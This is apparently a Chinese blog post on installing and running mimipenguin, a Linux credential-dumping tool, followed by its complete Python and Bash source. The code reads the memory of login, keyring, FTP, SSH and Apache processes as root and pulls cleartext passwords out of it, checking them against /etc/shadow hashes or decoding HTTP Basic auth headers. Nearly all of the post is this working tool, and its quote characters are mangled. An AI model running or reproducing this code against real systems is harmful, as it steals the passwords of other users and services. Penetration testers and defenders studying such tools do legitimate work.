安装与测试mimipenguin
安装方法
bobac@UBP:~$ git clone https://github.com/huntergregal/mimipenguin.git
测试使用
#就像mimikatz需要administrator权限一样,这里也需要root权限
bobac@UBP:~/mimipenguin$ sudo ./mimipenguin.py
#或
bobac@UBP:~/mimipenguin$ sudo ./mimipenguin.sh
原理分析
附录:Python和shell代码
#!/usr/bin/env python3
# -*- encoding: utf8 -*-
# Rewrite of mimipenguin in Python 3.
# Original idea from Hunter Gregal (@huntergregal).
# Implementation by Yannick Méheut (github.com/the-useless-one)
# Copyright ? 2017, Yannick Méheut <yannick@meheut.org>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from __future__ import print_function
import os
import platform
import re
import base64
import binascii
import crypt
import string
def running_as_root():
return os.geteuid() == 0
def get_linux_distribution():
try:
return platform.dist()[0].lower()
except IndexError:
return str()
def compute_hash(ctype, salt, password):
return crypt.crypt(password, ‘{}{}‘.format(ctype, salt))
def strings(s, min_length=4):
strings_result = list()
result = str()
for c in s:
try:
c = chr(c)
except TypeError:
# In Python 2, c is already a chr
pass
if c in string.printable:
result += c
else:
if len(result) >= min_length:
strings_result.append(result)
result = str()
return strings_result
def dump_process(pid):
dump_result = bytes()
with open(‘/proc/{}/maps‘.format(pid), ‘r‘) as maps_file:
for l in maps_file.readlines():
memrange, attributes = l.split(‘ ‘)[:2]
if attributes.startswith(‘r‘):
memrange_start, memrange_stop = [
int(x, 16) for x in memrange.split(‘-‘)]
memrange_size = memrange_stop - memrange_start
with open(‘/proc/{}/mem‘.format(pid), ‘rb‘) as mem_file:
try:
mem_file.seek(memrange_start)
dump_result += mem_file.read(memrange_size)
except (OSError, ValueError, IOError, OverflowError):
pass
return dump_result
def find_pid(process_name):
pids = list()
for pid in os.listdir(‘/proc‘):
try:
with open(‘/proc/{}/cmdline‘.format(pid), ‘rb‘) as cmdline_file:
if process_name in cmdline_file.read().decode():
pids.append(pid)
except IOError:
continue
return pids
class PasswordFinder:
_hash_re = r‘^\$.\$.+$‘
def __init__(self):
self._potential_passwords = list()
self._strings_dump = list()
self._found_hashes = list()
def _dump_target_processes(self):
target_pids = list()
for target_process in self._target_processes:
target_pids += find_pid(target_process)
for target_pid in target_pids:
self._strings_dump += strings(dump_process(target_pid))
def _find_hash(self):
for s in self._strings_dump:
if re.match(PasswordFinder._hash_re, s):
self._found_hashes.append(s)
def _find_potential_passwords(self):
for needle in self._needles:
needle_indexes = [i for i, s in enumerate(self._strings_dump)
if re.search(needle, s)]
for needle_index in needle_indexes:
self._potential_passwords += self._strings_dump[
needle_index - 10:needle_index + 10]
self._potential_passwords = list(set(self._potential_passwords))
def _try_potential_passwords(self):
valid_passwords = list()
found_hashes = list()
pw_hash_to_user = dict()
if self._found_hashes:
found_hashes = self._found_hashes
with open(‘/etc/shadow‘, ‘r‘) as f:
for l in f.readlines():
user, pw_hash = l.split(‘:‘)[:2]
if not re.match(PasswordFinder._hash_re, pw_hash):
continue
found_hashes.append(pw_hash)
pw_hash_to_user[pw_hash] = user
found_hashes = list(set(found_hashes))
for found_hash in found_hashes:
ctype = found_hash[:3]
salt = found_hash.split(‘$‘)[2]
for potential_password in self._potential_passwords:
potential_hash = compute_hash(ctype, salt, potential_password)
if potential_hash == found_hash:
try:
valid_passwords.append(
(pw_hash_to_user[found_hash], potential_password))
except KeyError:
valid_passwords.append(
(‘<unknown user>‘, potential_password))
return valid_passwords
def dump_passwords(self):
self._dump_target_processes()
self._find_hash()
self._find_potential_passwords()
return self._try_potential_passwords()
class GdmPasswordFinder(PasswordFinder):
def __init__(self):
PasswordFinder.__init__(self)
self._source_name = ‘[SYSTEM - GNOME]‘
self._target_processes = [‘gdm-password‘]
self._needles = [‘^_pammodutil_getpwnam_root_1$‘,
‘^gkr_system_authtok$‘]
class GnomeKeyringPasswordFinder(PasswordFinder):
def __init__(self):
PasswordFinder.__init__(self)
self._source_name = ‘[SYSTEM - GNOME]‘
self._target_processes = [‘gnome-keyring-daemon‘]
self._needles = [r‘^.+libgck\-1\.so\.0$‘, r‘libgcrypt\.so\..+$‘, r‘linux-vdso\.so\.1$‘]
class LightDmPasswordFinder(PasswordFinder):
def __init__(self):
PasswordFinder.__init__(self)
self._source_name = ‘[SYSTEM - LIGHTDM]‘
self._target_processes = [‘lightdm‘]
self._needles = [r‘^_pammodutil_getspnam_‘]
class VsftpdPasswordFinder(PasswordFinder):
def __init__(self):
PasswordFinder.__init__(self)
self._source_name = ‘[SYSTEM - VSFTPD]‘
self._target_processes = [‘vsftpd‘]
self._needles = [
r‘^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$‘]
class SshdPasswordFinder(PasswordFinder):
def __init__(self):
PasswordFinder.__init__(self)
self._source_name = ‘[SYSTEM - SSH]‘
self._target_processes = [‘sshd:‘]
self._needles = [r‘^sudo.+‘]
class ApachePasswordFinder(PasswordFinder):
def __init__(self):
PasswordFinder.__init__(self)
self._source_name = ‘[HTTP BASIC - APACHE2]‘
self._target_processes = [‘apache2‘]
self._needles = [r‘^Authorization: Basic.+‘]
def _try_potential_passwords(self):
valid_passwords = list()
for potential_password in self._potential_passwords:
try:
potential_password = base64.b64decode(potential_password)
except binascii.Error:
continue
else:
try:
user, password = potential_password.split(‘:‘, maxsplit=1)
valid_passwords.append((user, password))
except IndexError:
continue
return valid_passwords
def dump_passwords(self):
self._dump_target_processes()
self._find_potential_passwords()
return self._try_potential_passwords()
def main():
if not running_as_root():
raise RuntimeError(‘mimipenguin should be ran as root‘)
password_finders = list()
if find_pid(‘gdm-password‘):
password_finders.append(GdmPasswordFinder())
if find_pid(‘gnome-keyring-daemon‘):
password_finders.append(GnomeKeyringPasswordFinder())
if find_pid(‘lightdm‘):
password_finders.append(LightDmPasswordFinder())
if os.path.isfile(‘/etc/vsftpd.conf‘):
password_finders.append(VsftpdPasswordFinder())
if os.path.isfile(‘/etc/ssh/sshd_config‘):
password_finders.append(SshdPasswordFinder())
if os.path.isfile(‘/etc/apache2/apache2.conf‘):
password_finders.append(ApachePasswordFinder())
for password_finder in password_finders:
for valid_passwords in password_finder.dump_passwords():
print(‘{}\t{}:{}‘.format(password_finder._source_name,
valid_passwords[0], valid_passwords[1]))
if __name__ == ‘__main__‘:
main()
#!/bin/bash
# Author: Hunter Gregal
# Github: /huntergregal Twitter: /huntergregal Site: huntergregal.com
# Dumps cleartext credentials from memory
#root check
if [[ "$EUID" -ne 0 ]]; then
echo "Root required - You are dumping memory..."
echo "Even mimikatz requires administrator"
exit 1
fi
#Store results to cleanup later
export RESULTS=""
# check if a command exists in $PATH
command_exists () {
command -v "${1}" >/dev/null 2>&1
}
# check for required executables in $PATH
if ! command_exists strings; then
echo "Error: command ‘strings‘ not found in ${PATH}"
exit 1
fi
if ! command_exists grep; then
echo "Error: command ‘grep‘ not found in ${PATH}"
exit 1
fi
# Check for any of the currently tested versions of Python
if command_exists python2; then
pycmd=python2
elif command_exists python2.7; then
pycmd=python2.7
elif command_exists python3; then
pycmd=python3
elif command_exists python3.6; then
pycmd=python3.6
elif command_exists python3.7; then
pycmd=python3.7
else
echo "Error: No supported version of ‘python‘ found in ${PATH}"
exit 1
fi
# $1 = PID, $2 = output_file, $3 = operating system
function dump_pid () {
system=$3
pid=$1
output_file=$2
if [[ $system == "kali" ]]; then
mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | grep -E ‘heap|stack‘ | cut -d‘ ‘ -f 1)
else
mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d‘ ‘ -f 1)
fi
while read -r memrange; do
memrange_start=$(echo "$memrange" | cut -d"-" -f 1)
memrange_start=$(printf "%u\n" 0x"$memrange_start")
memrange_stop=$(echo "$memrange" | cut -d"-" -f 2)
memrange_stop=$(printf "%u\n" 0x"$memrange_stop")
memrange_size=$((memrange_stop - memrange_start))
dd if=/proc/"$pid"/mem of="${output_file}"."${pid}" ibs=1 oflag=append conv=notrunc skip="$memrange_start" count="$memrange_size" > /dev/null 2>&1
done <<< "$mem_maps"
}
# $1 = DUMP, $2 = HASH, $3 = SALT, $4 = SOURCE
function parse_pass () {
#If hash not in dump get shadow hashes
if [[ ! "$2" ]]; then
SHADOWHASHES="$(cut -d‘:‘ -f 2 /etc/shadow | grep -E ‘^\$.\$‘)"
fi
#Determine password potential for each word
while read -r line; do
#If hash in dump, prepare crypt line
if [[ "$2" ]]; then
#get ctype
CTYPE="$(echo "$2" | cut -c-3)"
#Escape quotes, backslashes, single quotes to pass into crypt
SAFE=$(echo "$line" | sed ‘s/\\/\\\\/g; s/\"/\\"/g; s/‘"‘"‘/\\‘"‘"‘/g;‘)
CRYPT="\"$SAFE\", \"$CTYPE$3\""
if [[ $($pycmd -c "from __future__ import print_function; import crypt; print(crypt.crypt($CRYPT))") == "$2" ]]; then
#Find which user‘s password it is (useful if used more than once!)
USER="$(grep "${2}" /etc/shadow | cut -d‘:‘ -f 1)"
export RESULTS="$RESULTS$4 $USER:$line \n"
fi
#Else use shadow hashes
elif [[ $SHADOWHASHES ]]; then
while read -r thishash; do
CTYPE="$(echo "$thishash" | cut -c-3)"
SHADOWSALT="$(echo "$thishash" | cut -d‘$‘ -f 3)"
#Escape quotes, backslashes, single quotes to pass into crypt
SAFE=$(echo "$line" | sed ‘s/\\/\\\\/g; s/\"/\\"/g; s/‘"‘"‘/\\‘"‘"‘/g;‘)
CRYPT="\"$SAFE\", \"$CTYPE$SHADOWSALT\""
if [[ $($pycmd -c "from __future__ import print_function; import crypt; print(crypt.crypt($CRYPT))") == "$thishash" ]]; then
#Find which user‘s password it is (useful if used more than once!)
USER="$(grep "${thishash}" /etc/shadow | cut -d‘:‘ -f 1)"
export RESULTS="$RESULTS$4 $USER:$line\n"
fi
done <<< "$SHADOWHASHES"
#if no hash data - revert to checking probability
else
patterns=("^_pammodutil.+[0-9]$" "^LOGNAME=" "UTF-8" "^splayManager[0-9]$" "^gkr_system_authtok$" "[0-9]{1,4}:[0-9]{1,4}:" "Manager\.Worker" "/usr/share" "/bin" "\.so\.[0-1]$" "x86_64" "(aoao)" "stuv")
export RESULTS="$RESULTS[HIGH]$4 $line\n"
for pattern in "${patterns[@]}"; do
if [[ $line =~ $pattern ]]; then
export RESULTS="$RESULTS[LOW]$4 $line\n"
fi
done
fi
done <<< "$1"
} # end parse_pass
#Support Kali
if [[ $(uname -a | awk ‘{print tolower($0)}‘) == *"kali"* ]]; then
SOURCE="[SYSTEM - GNOME]"
#get gdm-session-worker [pam/gdm-password] process
PID="$(ps -eo pid,command | sed -rn ‘/gdm-password\]/p‘ | awk -F ‘ ‘ ‘{ print $1 }‘)"
#if exists aka someone logged into gnome then extract...
if [[ $PID ]];then
while read -r pid; do
dump_pid "$pid" /tmp/dump "kali"
HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 ‘^\$.\$.+\$‘)"
SALT="$(echo "$HASH" | cut -d‘$‘ -f 3)"
DUMP="$(strings "/tmp/dump.${pid}" | grep -E ‘^_pammodutil_getpwnam_root_1$‘ -B 5 -A 5)"
DUMP="${DUMP}$(strings "/tmp/dump.${pid}" | grep -E ‘^gkr_system_authtok$‘ -B 5 -A 5)"
#Remove dupes to speed up processing
DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
#cleanup
rm -rf "/tmp/dump.${pid}"
done <<< "$PID"
fi
fi
#Support gnome-keyring
if [[ -n $(ps -eo pid,command | grep -v ‘grep‘ | grep gnome-keyring) ]]; then
SOURCE="[SYSTEM - GNOME]"
#get /usr/bin/gnome-keyring-daemon process
PID="$(ps -eo pid,command | sed -rn ‘/gnome\-keyring\-daemon/p‘ | awk -F ‘ ‘ ‘{ print $1 }‘)"
#if exists aka someone logged into gnome then extract...
if [[ $PID ]];then
while read -r pid; do
dump_pid "$pid" /tmp/dump
HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 ‘^\$.\$.+\$‘)"
SALT="$(echo "$HASH" | cut -d‘$‘ -f 3)"
DUMP=$(strings "/tmp/dump.${pid}" | grep -E ‘^.+libgck\-1\.so\.0$‘ -B 10 -A 10)
DUMP+=$(strings "/tmp/dump.${pid}" | grep -E -A 5 -B 5 ‘libgcrypt\.so\..+$‘)
#Remove dupes to speed up processing
DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
#cleanup
rm -rf "/tmp/dump.${pid}"
done <<< "$PID"
fi
fi
#Support LightDM
if [[ -n $(ps -eo pid,command | grep -v ‘grep‘ | grep lightdm | grep session-child) ]]; then
SOURCE="[SYSTEM - LIGHTDM]"
PID="$(ps -eo pid,command | grep lightdm | sed -rn ‘/session\-child/p‘ | awk -F ‘ ‘ ‘{ print $1 }‘)"
#if exists aka someone logged into lightdm then extract...
if [[ $PID ]]; then
while read -r pid; do
dump_pid "$pid" /tmp/dump
HASH=$(strings "/tmp/dump.${pid}" | grep -E -m 1 ‘^\$.\$.+\$‘)
SALT="$(echo "$HASH" | cut -d‘$‘ -f 3)"
DUMP="$(strings "/tmp/dump.${pid}" | grep -E ‘^_pammodutil_getspnam_‘ -A1)"
#Remove dupes to speed up processing
DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
#cleanup
rm -rf "/tmp/dump.${pid}"
done <<< "$PID"
fi
fi
#Support VSFTPd - Active Users
if [[ -e "/etc/vsftpd.conf" ]]; then
SOURCE="[SYSTEM - VSFTPD]"
#get nobody /usr/sbin/vsftpd /etc/vsftpd.conf
PID="$(ps -eo pid,user,command | grep vsftpd | grep nobody | awk -F ‘ ‘ ‘{ print $1 }‘)"
#if exists aka someone logged into FTP then extract...
if [[ $PID ]];then
while read -r pid; do
dump_pid "$pid" /tmp/vsftpd
HASH="$(strings "/tmp/vsftpd.${pid}" | grep -E -m 1 ‘^\$.\$.+\$‘)"
SALT="$(echo "$HASH" | cut -d‘$‘ -f 3)"
DUMP=$(strings "/tmp/vsftpd.${pid}" | grep -E -B 5 -A 5 ‘^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$‘)
#Remove dupes to speed up processing
DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
done <<< "$PID"
#cleanup
rm -rf /tmp/vsftpd*
fi
fi
#Support Apache2 - HTTP BASIC AUTH
if [[ -e "/etc/apache2/apache2.conf" ]]; then
SOURCE="[HTTP BASIC - APACHE2]"
#get all apache workers /usr/sbin/apache2 -k start
PID="$(ps -eo pid,user,command | grep apache2 | grep -v ‘grep‘ | awk -F ‘ ‘ ‘{ print $1 }‘)"
#if exists aka apache2 running
if [[ "$PID" ]];then
#Dump all workers
while read -r pid; do
gcore -o /tmp/apache "$pid" > /dev/null 2>&1
#without gcore - VERY SLOW!
#dump_pid $pid /tmp/apache
done <<< "$PID"
#Get encoded creds
DUMP="$(strings /tmp/apache* | grep -E ‘^Authorization: Basic.+=$‘ | cut -d‘ ‘ -f 3)"
#for each extracted b64 - decode the cleartext
while read -r encoded; do
CREDS="$(echo "$encoded" | base64 -d)"
if [[ "$CREDS" ]]; then
export RESULTS="$RESULTS$SOURCE $CREDS\n"
fi
done <<< "$DUMP"
#cleanup
rm -rf /tmp/apache*
fi
fi
#Support sshd - Search active connections for Sudo passwords
if [[ -e "/etc/ssh/sshd_config" ]]; then
SOURCE="[SYSTEM - SSH]"
#get all ssh tty/pts sessions - sshd: user@pts01
PID="$(ps -eo pid,command | grep -E ‘sshd:.+@‘ | grep -v ‘grep‘ | awk -F ‘ ‘ ‘{ print $1 }‘)"
#if exists aka someone logged into SSH then dump
if [[ "$PID" ]];then
while read -r pid; do
dump_pid "$pid" /tmp/sshd
HASH="$(strings "/tmp/sshd.${pid}" | grep -E -m 1 ‘^\$.\$.+\$‘)"
SALT="$(echo "$HASH" | cut -d‘$‘ -f 3)"
DUMP=$(strings "/tmp/sshd.${pid}" | grep -E -A 3 ‘^sudo.+‘)
#Remove dupes to speed up processing
DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
done <<< "$PID"
#cleanup
rm -rf /tmp/sshd.*
fi
fi
#Output results to STDOUT
printf "MimiPenguin Results:\n"
printf "%b" "$RESULTS" | sort -u
unset RESULTS